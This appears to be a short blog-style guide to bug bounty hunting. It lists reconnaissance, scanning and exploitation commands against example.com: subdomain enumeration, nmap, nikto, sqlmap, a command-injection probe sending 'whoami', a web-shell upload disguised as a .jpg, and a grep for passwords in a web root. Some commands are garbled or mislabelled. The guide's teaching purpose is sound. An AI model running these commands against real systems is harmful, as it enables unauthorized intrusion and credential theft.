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Bug bounty hunting is a critical aspect of modern cybersecurity, where ethical hackers identify vulnerabilities in web applications and report them for rewards. Below is a detailed guide on essential techniques, tools, and commands used in bug bounty hunting.
You Should Know:
1. Reconnaissance & Information Gathering
Before attacking, gather as much information as possible about the target:
Subdomain Enumeration
subfinder -d example.com -o subdomains.txt amass enum -d example.com -o amass_results.txt assetfinder --subs-only example.com | tee assetfinder_subs.txt
Port Scanning with Nmap
nmap -sV -T4 -p- -A -oN full_scan.txt example.com
Wayback Machine for Historical Data
waybackurls example.com | tee urls_archive.txt
2. Vulnerability Scanning
Automated Scanning with Nikto
nikto -h https://example.com -output nikto_scan.txt
SQL Injection Testing with SQLmap
sqlmap -u "https://example.com/login?id=1" --batch --crawl=3
XSS Detection with XSS Hunter
python3 xsstrike.py -u "https://example.com/search?q=test"
3. Exploitation & Privilege Escalation
Exploiting Command Injection
curl -X POST "https://example.com/cmd.php" -d "command=whoami"
File Upload Bypass
Rename shell.php to shell.php.jpg and upload mv shell.php shell.php.jpg && curl -F "[email protected]" https://example.com/upload
4. Post-Exploitation & Reporting
Extracting Sensitive Data
grep -r "password" /var/www/html/
Generating a Professional Report
echo "Vulnerability: SQL Injection" > report.txt echo "Proof of Concept: https://example.com/login?id=1' AND 1=1--" >> report.txt
What Undercode Say:
Bug bounty hunting requires persistence, creativity, and deep knowledge of web vulnerabilities. Always follow responsible disclosure policies and avoid illegal activities. Automation helps, but manual testing uncovers the most critical flaws.
Expected Output:
- A well-documented bug report with PoC (Proof of Concept).
- Rewards from platforms like HackerOne, Bugcrowd, or company-specific programs.
Prediction:
As web applications grow more complex, bug bounty programs will expand, offering higher rewards for critical vulnerabilities. AI-powered bug hunting tools will emerge, but human expertise will remain irreplaceable.
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References:
Reported By: Trilokdhaked Web – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
